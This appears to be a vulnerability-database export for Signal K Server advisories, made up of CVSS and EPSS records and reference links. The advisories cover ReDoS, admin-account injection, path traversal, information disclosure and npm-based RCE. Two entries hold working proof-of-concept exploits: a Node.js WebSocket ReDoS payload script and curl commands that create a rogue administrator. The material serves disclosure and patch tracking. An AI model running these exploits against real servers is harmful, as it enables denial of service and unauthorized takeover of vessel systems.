reference_url https://github.com/SignalK/signalk-server/commit/55e3574d8266fbc0ed8e453ad4557073541566f5
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/SignalK/signalk-server/commit/55e3574d8266fbc0ed8e453ad4557073541566f5
3
reference_url https://github.com/SignalK/signalk-server/releases/tag/v2.19.0
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-01-02T18:55:06Z/
url https://github.com/SignalK/signalk-server/releases/tag/v2.19.0
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-68272
reference_id CVE-2025-68272
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-68272
5
reference_url https://github.com/advisories/GHSA-7rqc-ff8m-7j23
reference_id GHSA-7rqc-ff8m-7j23
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-7rqc-ff8m-7j23
6
reference_url https://github.com/SignalK/signalk-server/security/advisories/GHSA-7rqc-ff8m-7j23
reference_id GHSA-7rqc-ff8m-7j23
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-01-02T18:55:06Z/
url https://github.com/SignalK/signalk-server/security/advisories/GHSA-7rqc-ff8m-7j23
fixed_packages
0
url pkg:npm/signalk-server@2.19.0
purl pkg:npm/signalk-server@2.19.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2e2f-qt4n-dqa7
1
vulnerability VCID-3s8j-v31f-pyaf
2
vulnerability VCID-jq2a-wxb1-dufm
3
vulnerability VCID-ndfm-uuf3-nbfg
4
vulnerability VCID-v11p-jkzw-vkar
5
vulnerability VCID-xvyj-f4ps-kycx
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/signalk-server@2.19.0
aliases CVE-2025-68272, GHSA-7rqc-ff8m-7j23
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-mg7j-punt-3yhj
6
url VCID-ndfm-uuf3-nbfg
vulnerability_id VCID-ndfm-uuf3-nbfg
summary
Signal K Server has an Unauthenticated Regular Expression Denial of Service (ReDoS) via WebSocket Subscription Paths
## Summary
The SignalK server is vulnerable to an unauthenticated Regular Expression Denial of Service (ReDoS) attack within its WebSocket subscription handling logic. By injecting unescaped regex metacharacters into the `context` parameter of a stream subscription, an attacker can force the server's Node.js event loop into a catastrophic backtracking loop when evaluating long string identifiers (like the server's self UUID). This results in a total Denial of Service (DoS) where the server CPU spikes to 100% and becomes completely unresponsive to further API or socket requests.

## Description
The vulnerability stems from flawed string-to-regex conversion in `signalk-server/src/subscriptionmanager.ts`. The `contextMatcher()` and `pathMatcher()` functions convert wildcard strings (e.g., `*`) into regular expressions to match incoming data against client subscriptions.

While the code attempts to escape `.` and `*` characters, it fails to escape other dangerous regular expression metacharacters—such as `+`, `(`, `)`, `?`, `[`, and `]`. Because of this, an attacker can submit a crafted `context` that contains nested quantifiers (e.g., `([a-z0-9:-]+)+!`). When the server attempts to test this malicious regex against legitimate, lengthy data identifiers (like `vessels.urn:mrn:signalk:uuid:d384dc156010`), the regex engine fails to find a match at the end of the string but initiates billions of catastrophic backtracking operations trying to resolve the nested combinations. Since Node.js runs on a single-threaded event loop, this locks up the thread indefinitely.

## Affected Code Blocks & Files
**File:** `signalk-server/src/subscriptionmanager.ts`

**Affected lines for Context subscriptions (282-300):**
```typescript
function contextMatcher(...) {
  if (subscribeCommand.context) {
    if (isString(subscribeCommand.context)) {
      const pattern = subscribeCommand.context
        .replace(/\./g, '\\.')
        .replace(/\*/g, '.*')
      const matcher = new RegExp('^' + pattern + '$') // VULNERABILITY: User input compiled into regex directly
      return (normalizedDeltaData: WithContext) =>
        matcher.test(normalizedDeltaData.context) ||
```

**Affected lines for Path subscriptions (276-280):**
```typescript
function pathMatcher(path: string = '*') {
  const pattern = path.replace(/\./g, '\\.').replace(/\*/g, '.*')
  const matcher = new RegExp('^' + pattern + '$') // VULNERABILITY: Same issue here
  return (aPath: string) => matcher.test(aPath)
}
```

## Proof of Concept (PoC) Steps

```
const WebSocket = require('ws');
const http = require('http');

const HOST = 'localhost';
const PORT = 3000;
const WS_URL = `ws://${HOST}:${PORT}/signalk/v1/stream?subscribe=none`;
// Use the API endpoint to measure real server processing lag (requires JSON serialization)
const HTTP_URL = `http://${HOST}:${PORT}/signalk/v1/api/`;

console.log(`[+] Target Server API: ${HTTP_URL}`);
console.log(`[+] Target WebSocket: ${WS_URL}`);

let requestCount = 0;

// Polling function to check server responsiveness and compute delay
function checkServerStatus() {
    const startTime = Date.now();
    requestCount++;
    const reqId = requestCount;
    
    const req = http.get(HTTP_URL, (res) => {
        let size = 0;
        res.on('data', chunk => { size += chunk.length; });
        res.on('end', () => {
             const latency = Date.now() - startTime;
             console.log(`[HTTP #${reqId}] API responded in ${latency}ms (Data size: ${size} bytes)`);
        });
    });

    req.on('error', (err) => {
        console.log(`[HTTP #${reqId} ERROR] Connection refused/dropped.`);
    });

    // Timeout if the event loop is blocked
    req.setTimeout(2000, () => {
        console.log(`[HTTP #${reqId} TIMEOUT] Server is completely blocked! Node event loop is frozen.`);
        req.destroy();
    });
}

// Start polling every 1 second
console.log('[+] Starting baseline HTTP polling...');
const pollInterval = setInterval(checkServerStatus, 1000);

// Wait a few seconds to establish a baseline, then launch the ReDoS
setTimeout(() => {
    console.log(`\n[!] Initiating WebSocket connection to launch ReDoS attack...`);
    const ws = new WebSocket(WS_URL);

    ws.on('open', () => {
        console.log('[+] WebSocket Connected! Sending catastrophic ReDoS payload...');
        
        // This regex exploits the unescaped Regex metacharacters in context matcher.
        // It forms: `^vessels\.([a-z0-9:-]+)+!$`
        // When evaluated against `vessels.urn:mrn:signalk:uuid:xxx` (38+ characters), 
        // the nested quantifier `([a-z0-9:-]+)+` will result in 2^38 evaluations 
        // because it fails to find the '!' at the end. This reliably freezes V8.
        const pocPayload = {
            context: "vessels.([a-z0-9:-]+)+!",
            announceNewPaths: true,
            subscribe: [{ path: "*" }]
        };

        ws.send(JSON.stringify(pocPayload));
        console.log('[!] Payload sent. The server should instantly freeze. Watch the HTTP pollers now...\n');
    });

    ws.on('error', (err) => {
        console.error(`[-] WebSocket Error: ${err.message}`);
    });

}, 3500);

// Automatically shut down the test after 15 seconds
setTimeout(() => {
    console.log(`\n[+] Test complete. Stopping pollers.`);
    clearInterval(pollInterval);
    process.exit(0);
}, 15000);
```
<img width="1003" height="524" alt="Screenshot 2026-03-29 101918" src="https://github.com/user-attachments/assets/4b257c4c-f97a-4812-b812-ce2f235b6039" />

## Impact

This vulnerability achieves a complete **Denial of Service (DoS)** against the SignalK server. A single unauthenticated WebSocket connection can send the catastrophic payload, which permanently locks the main Node.js event loop. 

<img width="999" height="153" alt="Screenshot 2026-03-29 101820" src="https://github.com/user-attachments/assets/54214d1c-252f-4533-ad02-14959ea2bed0" />
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-39320
reference_id
reference_type
scores
0
value 0.00075
scoring_system epss
scoring_elements 0.22694
published_at 2026-06-05T12:55:00Z
1
value 0.00075
scoring_system epss
scoring_elements 0.2259
published_at 2026-06-09T12:55:00Z
2
value 0.00075
scoring_system epss
scoring_elements 0.22587
published_at 2026-06-08T12:55:00Z
3
value 0.00075
scoring_system epss
scoring_elements 0.22633
published_at 2026-06-07T12:55:00Z
4
value 0.00075
scoring_system epss
scoring_elements 0.22678
published_at 2026-06-06T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-39320
1
reference_url https://github.com/SignalK/signalk-server
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/SignalK/signalk-server
2
reference_url https://github.com/SignalK/signalk-server/commit/215d81eb700d5419c3396a0fbf23f2e246dfac2d
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-21T19:36:30Z/
url https://github.com/SignalK/signalk-server/commit/215d81eb700d5419c3396a0fbf23f2e246dfac2d
3
reference_url https://github.com/SignalK/signalk-server/pull/2568
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-21T19:36:30Z/
url https://github.com/SignalK/signalk-server/pull/2568
4
reference_url https://github.com/SignalK/signalk-server/releases/tag/v2.25.0
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-21T19:36:30Z/
url https://github.com/SignalK/signalk-server/releases/tag/v2.25.0
5
reference_url https://github.com/SignalK/signalk-server/security/advisories/GHSA-7gcj-phff-2884
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-21T19:36:30Z/
url https://github.com/SignalK/signalk-server/security/advisories/GHSA-7gcj-phff-2884
6
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-39320
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-39320
7
reference_url https://github.com/advisories/GHSA-7gcj-phff-2884
reference_id GHSA-7gcj-phff-2884
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-7gcj-phff-2884
fixed_packages
0
url pkg:npm/signalk-server@2.25.0
purl pkg:npm/signalk-server@2.25.0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/signalk-server@2.25.0
aliases CVE-2026-39320, GHSA-7gcj-phff-2884
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-ndfm-uuf3-nbfg
7
url VCID-p96m-n138-a7c6
vulnerability_id VCID-p96m-n138-a7c6
summary
Signal K Server Vulnerable to Unauthenticated Information Disclosure via Exposed Endpoints
An unauthenticated information disclosure vulnerability allows any user to retrieve sensitive system information, including the full SignalK data schema, connected serial devices, and installed analyzer tools. This exposure facilitates reconnaissance for further attacks.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-68273
reference_id
reference_type
scores
0
value 0.00015
scoring_system epss
scoring_elements 0.02956
published_at 2026-06-07T12:55:00Z
1
value 0.00015
scoring_system epss
scoring_elements 0.02903
published_at 2026-06-09T12:55:00Z
2
value 0.00015
scoring_system epss
scoring_elements 0.02939
published_at 2026-06-08T12:55:00Z
3
value 0.00015
scoring_system epss
scoring_elements 0.03009
published_at 2026-06-06T12:55:00Z
4
value 0.00015
scoring_system epss
scoring_elements 0.03
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-68273
1
reference_url https://github.com/SignalK/signalk-server
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/SignalK/signalk-server
2
reference_url https://github.com/SignalK/signalk-server/commit/ead2a03d8994969cafcca0320abee16f0e66e7a9
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/SignalK/signalk-server/commit/ead2a03d8994969cafcca0320abee16f0e66e7a9
3
reference_url https://github.com/SignalK/signalk-server/releases/tag/v2.19.0
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-01-02T18:55:48Z/
url https://github.com/SignalK/signalk-server/releases/tag/v2.19.0
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-68273
reference_id CVE-2025-68273
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-68273
5
reference_url https://github.com/advisories/GHSA-fpf5-w967-rr2m
reference_id GHSA-fpf5-w967-rr2m
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-fpf5-w967-rr2m
6
reference_url https://github.com/SignalK/signalk-server/security/advisories/GHSA-fpf5-w967-rr2m
reference_id GHSA-fpf5-w967-rr2m
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-01-02T18:55:48Z/
url https://github.com/SignalK/signalk-server/security/advisories/GHSA-fpf5-w967-rr2m
fixed_packages
0
url pkg:npm/signalk-server@2.19.0
purl pkg:npm/signalk-server@2.19.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2e2f-qt4n-dqa7
1
vulnerability VCID-3s8j-v31f-pyaf
2
vulnerability VCID-jq2a-wxb1-dufm
3
vulnerability VCID-ndfm-uuf3-nbfg
4
vulnerability VCID-v11p-jkzw-vkar
5
vulnerability VCID-xvyj-f4ps-kycx
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/signalk-server@2.19.0
aliases CVE-2025-68273, GHSA-fpf5-w967-rr2m
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-p96m-n138-a7c6
8
url VCID-qa4t-372r-tbf1
vulnerability_id VCID-qa4t-372r-tbf1
summary
Signal K Server Vulnerable to Remote Code Execution via Malicious npm Package
The SignalK appstore interface allows administrators to install npm packages through a REST API endpoint. While the endpoint validates that the package name exists in the npm registry as a known plugin or webapp, the version parameter accepts arbitrary npm version specifiers including URLs. npm supports installing packages from git repositories, GitHub shorthand syntax, and HTTP/HTTPS URLs pointing to tarballs. When npm installs a package, it can automatically execute any `postinstall` script defined in `package.json`, enabling arbitrary code execution.

The vulnerability exists because npm's version specifier syntax is extremely flexible, and the SignalK code passes the version parameter directly to npm without sanitization. An attacker with admin access can install a package from an attacker-controlled source containing a malicious `postinstall` script.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-68619
reference_id
reference_type
scores
0
value 0.0005
scoring_system epss
scoring_elements 0.15816
published_at 2026-06-07T12:55:00Z
1
value 0.0005
scoring_system epss
scoring_elements 0.15753
published_at 2026-06-09T12:55:00Z
2
value 0.0005
scoring_system epss
scoring_elements 0.15731
published_at 2026-06-08T12:55:00Z
3
value 0.0005
scoring_system epss
scoring_elements 0.15856
published_at 2026-06-06T12:55:00Z
4
value 0.0005
scoring_system epss
scoring_elements 0.15866
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-68619
1
reference_url https://github.com/SignalK/signalk-server
reference_id
reference_type
scores
0
value 7.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
1
value 7.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
2
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/SignalK/signalk-server
2
reference_url https://github.com/SignalK/signalk-server/commit/f06140bed702de93a5dbb6b33dc2486960764d1d
reference_id
reference_type
scores
0
value 7.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
1
value 7.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
2
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/SignalK/signalk-server/commit/f06140bed702de93a5dbb6b33dc2486960764d1d
3
reference_url https://github.com/SignalK/signalk-server/releases/tag/v2.19.0
reference_id
reference_type
scores
0
value 7.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
1
value 7.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-01-02T19:00:33Z/
url https://github.com/SignalK/signalk-server/releases/tag/v2.19.0
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-68619
reference_id CVE-2025-68619
reference_type
scores
0
value 7.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
1
value 7.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
2
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-68619
5
reference_url https://github.com/advisories/GHSA-93jc-vqqc-vvvh
reference_id GHSA-93jc-vqqc-vvvh
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-93jc-vqqc-vvvh
6
reference_url https://github.com/SignalK/signalk-server/security/advisories/GHSA-93jc-vqqc-vvvh
reference_id GHSA-93jc-vqqc-vvvh
reference_type
scores
0
value 7.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value 7.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
3
value HIGH
scoring_system generic_textual
scoring_elements
4
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-01-02T19:00:33Z/
url https://github.com/SignalK/signalk-server/security/advisories/GHSA-93jc-vqqc-vvvh
fixed_packages
0
url pkg:npm/signalk-server@2.9.0
purl pkg:npm/signalk-server@2.9.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1rr4-c6e1-nya1
1
vulnerability VCID-2e2f-qt4n-dqa7
2
vulnerability VCID-3s8j-v31f-pyaf
3
vulnerability VCID-84tp-z2dz-u7at
4
vulnerability VCID-jq2a-wxb1-dufm
5
vulnerability VCID-mg7j-punt-3yhj
6
vulnerability VCID-ndfm-uuf3-nbfg
7
vulnerability VCID-p96m-n138-a7c6
8
vulnerability VCID-v11p-jkzw-vkar
9
vulnerability VCID-xvyj-f4ps-kycx
10
vulnerability VCID-yktb-859h-y7hs
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/signalk-server@2.9.0
aliases CVE-2025-68619, GHSA-93jc-vqqc-vvvh
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-qa4t-372r-tbf1
9
url VCID-v11p-jkzw-vkar
vulnerability_id VCID-v11p-jkzw-vkar
summary
SignalK Server has Path Traversal leading to information disclosure
A Path Traversal vulnerability in SignalK Server's `applicationData` API allows authenticated users on Windows systems to read, write, and list arbitrary files and directories on the filesystem. The `validateAppId()` function blocks forward slashes (`/`) but not backslashes (`\`), which are treated as directory separators by `path.join()` on Windows. This enables attackers to escape the intended `applicationData` directory.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-25228
reference_id
reference_type
scores
0
value 0.0002
scoring_system epss
scoring_elements 0.05841
published_at 2026-06-07T12:55:00Z
1
value 0.0002
scoring_system epss
scoring_elements 0.05821
published_at 2026-06-09T12:55:00Z
2
value 0.0002
scoring_system epss
scoring_elements 0.05796
published_at 2026-06-08T12:55:00Z
3
value 0.0002
scoring_system epss
scoring_elements 0.05839
published_at 2026-06-06T12:55:00Z
4
value 0.0002
scoring_system epss
scoring_elements 0.05848
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-25228
1
reference_url https://github.com/SignalK/signalk-server
reference_id
reference_type
scores
0
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/SignalK/signalk-server
2
reference_url https://github.com/SignalK/signalk-server/commit/9bcf61c8fe2cb8a40998b913a02fb64dff9e86c7
reference_id
reference_type
scores
0
value 5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-02-04T21:09:33Z/
url https://github.com/SignalK/signalk-server/commit/9bcf61c8fe2cb8a40998b913a02fb64dff9e86c7
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-25228
reference_id CVE-2026-25228
reference_type
scores
0
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-25228
4
reference_url https://github.com/advisories/GHSA-vrhw-v2hw-jffx
reference_id GHSA-vrhw-v2hw-jffx
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-vrhw-v2hw-jffx
5
reference_url https://github.com/SignalK/signalk-server/security/advisories/GHSA-vrhw-v2hw-jffx
reference_id GHSA-vrhw-v2hw-jffx
reference_type
scores
0
value 5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
2
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
3
value MODERATE
scoring_system generic_textual
scoring_elements
4
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-02-04T21:09:33Z/
url https://github.com/SignalK/signalk-server/security/advisories/GHSA-vrhw-v2hw-jffx
fixed_packages
0
url pkg:npm/signalk-server@2.20.3
purl pkg:npm/signalk-server@2.20.3
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2e2f-qt4n-dqa7
1
vulnerability VCID-3s8j-v31f-pyaf
2
vulnerability VCID-jq2a-wxb1-dufm
3
vulnerability VCID-ndfm-uuf3-nbfg
4
vulnerability VCID-veqf-x77b-4bf7
5
vulnerability VCID-xvyj-f4ps-kycx
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/signalk-server@2.20.3
aliases CVE-2026-25228, GHSA-vrhw-v2hw-jffx
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-v11p-jkzw-vkar
10
url VCID-xvyj-f4ps-kycx
vulnerability_id VCID-xvyj-f4ps-kycx
summary
Signal K Server: Privilege Escalation by Admin Role Injection via /enableSecurity
## Summary

According to SignalK's security documentation, when a server is first initialized without security enabled, the **/skServer/enableSecurity** endpoint is intentionally exposed to allow the owner to set up the initial admin account. This initial open access is by design.

However, the critical vulnerability is that this route is never deregistered or disabled after the initial successful setup. Even after the genuine administrator has created their account, restarted the server, and activated token security, the **/skServer/enableSecurity** route remains perpetually open.

Furthermore, the endpoint explicitly trusts the **type** field provided in the request body, passing it directly into the server's security configuration without validation. Because the route remains permanently listening, any unauthenticated user can call this endpoint at any time to silently inject a new, fully privileged admin account alongside the legitimate ones.

## Vulnerable Root Cause 

File:  src/serverroutes.ts (Lines 685-754)
```
if (app.securityStrategy.getUsers(getSecurityConfig(app)).length === 0) {
    app.post(
      `${SERVERROUTESPREFIX}/enableSecurity`,
      (req: Request, res: Response) => {
        // ...
        function addUser(request: Request, response: Response, securityStrategy: SecurityStrategy, config?: any) {
          // [!VULNERABLE] Passes the entire JSON request body directly to the security strategy
          securityStrategy.addUser(config, request.body, (err, theConfig) => {
            // ...
          })
        }
      }
    // ... No code disables or removes this route after first execution.
    // The conditional check on Line 685 only happens during server startup, 
```

File: src/tokensecurity.ts (Lines 980-994)
```
function addUser(
    theConfig: SecurityConfig,
    user: { userId: string; type: string; password?: string },
    callback: ICallback<SecurityConfig>
  ): void {
    // ...
    const newUser: User = {
      username: user.userId,
      type: user.type // [!VULNERABLE] Blindly trusts the injected "type" field
    }
```

## Proof of Concept (PoC)

**Simulate Legitimate Initial Setup**: Send a POST request to the open enableSecurity route defining the initial legitimate admin account.
```
curl -X POST http://localhost:3000/skServer/enableSecurity \
  -H "Content-Type: application/json" \
  -d '{"userId": "admin", "password": "securepassword", "type": "admin"}'

Result: Security enabled
```

**Inject Malicious Admin**: Send the exact same request again to create a second, unauthorized admin account. This should ideally be blocked because security was already enabled.

```
curl -X POST http://localhost:3000/skServer/enableSecurity \
  -H "Content-Type: application/json" \
  -d '{"userId": "attacker", "password": "password123", "type": "admin"}'

Result: Security enabled (The vulnerability: The server fails to reject the request and creates the second admin).
```

**Verify Both Admins Exist**: Login via JWT as the attacker and query the restricted users endpoint.

```
# Get Token for Attacker
TOKEN=$(curl -s -X POST http://localhost:3000/signalk/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username": "attacker", "password": "password123"}' | jq -r .token)
```
```
# Access Admin-Only Data
curl -H "Authorization: Bearer $TOKEN" http://localhost:3000/skServer/security/users
Result: The system returns both admin and attacker as active Administrators.
```

<img width="1205" height="469" alt="Screenshot 2026-03-24 145906" src="https://github.com/user-attachments/assets/98855e54-cb78-4786-a9e3-63dcc1bed37a" />

## Security Impact
An unauthenticated attacker can gain full Administrator access to the SignalK server at any time, allowing them to modify sensitive vessel routing data, alter server configurations, and access restricted endpoints
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-33950
reference_id
reference_type
scores
0
value 0.00031
scoring_system epss
scoring_elements 0.09318
published_at 2026-06-06T12:55:00Z
1
value 0.00031
scoring_system epss
scoring_elements 0.09243
published_at 2026-06-08T12:55:00Z
2
value 0.00031
scoring_system epss
scoring_elements 0.09301
published_at 2026-06-07T12:55:00Z
3
value 0.00031
scoring_system epss
scoring_elements 0.09299
published_at 2026-06-05T12:55:00Z
4
value 0.00032
scoring_system epss
scoring_elements 0.09761
published_at 2026-06-09T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-33950
1
reference_url https://github.com/SignalK/signalk-server
reference_id
reference_type
scores
0
value 9.4
scoring_system cvssv3.1
